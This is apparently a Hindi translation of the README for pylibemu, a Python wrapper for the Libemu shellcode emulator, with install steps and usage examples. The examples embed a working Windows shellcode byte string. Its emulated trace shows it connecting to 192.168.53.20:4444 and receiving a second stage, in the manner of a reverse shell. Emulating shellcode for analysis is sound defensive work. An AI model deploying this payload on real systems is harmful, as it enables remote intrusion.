
एक Libemu Cython रैपर
.. |version badge| image:: https://img.shields.io/pypi/v/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ .. |downloads badge| image:: https://img.shields.io/pypi/dm/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/
Pylibemu, Libemu लाइब्रेरी (https://github.com/buffer/libemu) के लिए एक रैपर है।
Pylibemu > 0.5.8 अब Libemu सबमॉड्यूल शामिल नहीं करता है, इसलिए Pylibemu को स्थापित करने से पहले आपको Libemu को स्थापित करना आवश्यक है।
Libemu को स्थापित करने के लिए, बस निष्पादित करें:
.. code-block:: console
$ git clone https://github.com/buffer/libemu.git
$ cd libemu
$ autoreconf -v -i
$ ./configure
$ make
$ sudo make install
एक बार Libemu सही ढंग से स्थापित हो जाने पर, बस निष्पादित करें:
.. code-block:: console
$ sudo pip install pylibemu
Pylibemu 0.5.8, पायथन 2 का समर्थन करने वाला अंतिम संस्करण है।
Pylibemu को स्थापित करने के लिए, बस निष्पादित करें:
.. code-block:: console
$ sudo pip install pylibemu==0.5.8
.. code-block:: pycon
>>> import pylibemu
>>> shellcode = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
>>> shellcode += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
>>> shellcode += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
>>> shellcode += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
>>> shellcode += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
>>> shellcode += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
>>> shellcode += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
>>> shellcode += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
>>> shellcode += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
>>> shellcode += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
>>> shellcode += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
>>> shellcode += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
>>> shellcode += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
>>> emulator = pylibemu.Emulator()
>>> offset = emulator.shellcode_getpc_test(shellcode)
>>> offset
4
>>> emulator.prepare(shellcode, offset)
>>> emulator.test()
0
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x0012fe90 =>
= "ws2_32";
) = 0x71a10000;
int WSAStartup (
WORD wVersionRequested = 2;
LPWSADATA lpWSAData = 1244272;
) = 0;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) = 66;
int connect (
SOCKET s = 66;
struct sockaddr_in * name = 0x0012fe88 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 339060928 (host=192.168.53.20);
};
char sin_zero = " ";
};
int namelen = 16;
) = 0;
int recv (
SOCKET s = 66;
char * buf = 0x0012fe88 =>
none;
int len = 3072;
int flags = 0;
) = 3072;
>>> emulator.emu_profile_truncated
False
'nई Emulator विधि 'run' Pylibemu 0.1.3 में पेश की गई थी, जो विवरणों के बारे में चिंता न करने देती है। इसके अलावा, नया Emulator गुण offset आवश्यक होने पर ऐसी जानकारी प्राप्त करने की अनुमति देता है।
.. code-block:: pycon
>>> emulator = pylibemu.Emulator()
>>> emulator.run(shellcode)
0
>>> emulator.offset
4
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
LPCTSTR = 0x01a3f990 =>
= "ws2_32";
) = 1906376704;
int WSAStartup (
WORD wVersionRequested = 2;
LPWSADATA lpWSAData = 1244272;
) = 0;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) = 66;
int connect (
SOCKET s = 66;
struct sockaddr_in * name = 0x0012fe88 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 339060928 (host=192.168.53.20);
};
char sin_zero = " ";
};
int namelen = 16;
) = 0;
int recv (
SOCKET s = 66;
char * = 0x01a40870 =>
none;
int len = 3072;
int flags = 0;
) = 3072;
>>> emulator.emu_profile_truncated
False
Emulator वैकल्पिक पैरामीटर output_size स्वीकार करता है, जो यह परिभाषित करता है कि इम्यूलेशन प्रोफ़ाइल डंप को संग्रहीत करने के लिए कितनी मेमोरी आरक्षित की जाएगी। डिफ़ॉल्ट रूप से, इसका आकार 1MB है, लेकिन इसे दो संभावित तरीकों से बदला जा सकता है:
.. code-block:: pycon
>>> emulator = pylibemu.Emulator(1024)
>>> emulator = pylibemu.Emulator()
>>> emulator.set_output_size(1024)
यदि आरक्षित मेमोरी पूरे डंप को समाहित करने के लिए पर्याप्त नहीं है, तो डंप को छोटा कर दिया जाएगा और Emulator गुण emu_profile_truncated को True पर सेट कर दिया जाएगा। कुछ शेलकोडों का विश्लेषण करते समय प्रदर्शन को प्रभावित न करने के लिए यह दृष्टिकोण आवश्यक है, जो कई MB के डंप उत्पन्न कर सकते हैं (जैसे कि Metasploit windows/download_exec)। यदि पूरे डंप की आवश्यकता है, तो एक बहुत ही सरल तरीका यह हो सकता है कि शेलकोड इम्यूलेशन परीक्षण के बाद emu_profile_truncated गुण की जाँच करें, Emulator की set_output_size विधि के माध्यम से आरक्षित मेमोरी बढ़ाएँ और फिर से शेलकोड इम्यूलेशन परीक्षण चलाएँ जैसा कि ऊपर दिखाया गया है।
Copyright (C) 2011-2023 Angelo Dell'Aera [email protected]
लाइसेंस: GNU General Public License, संस्करण 2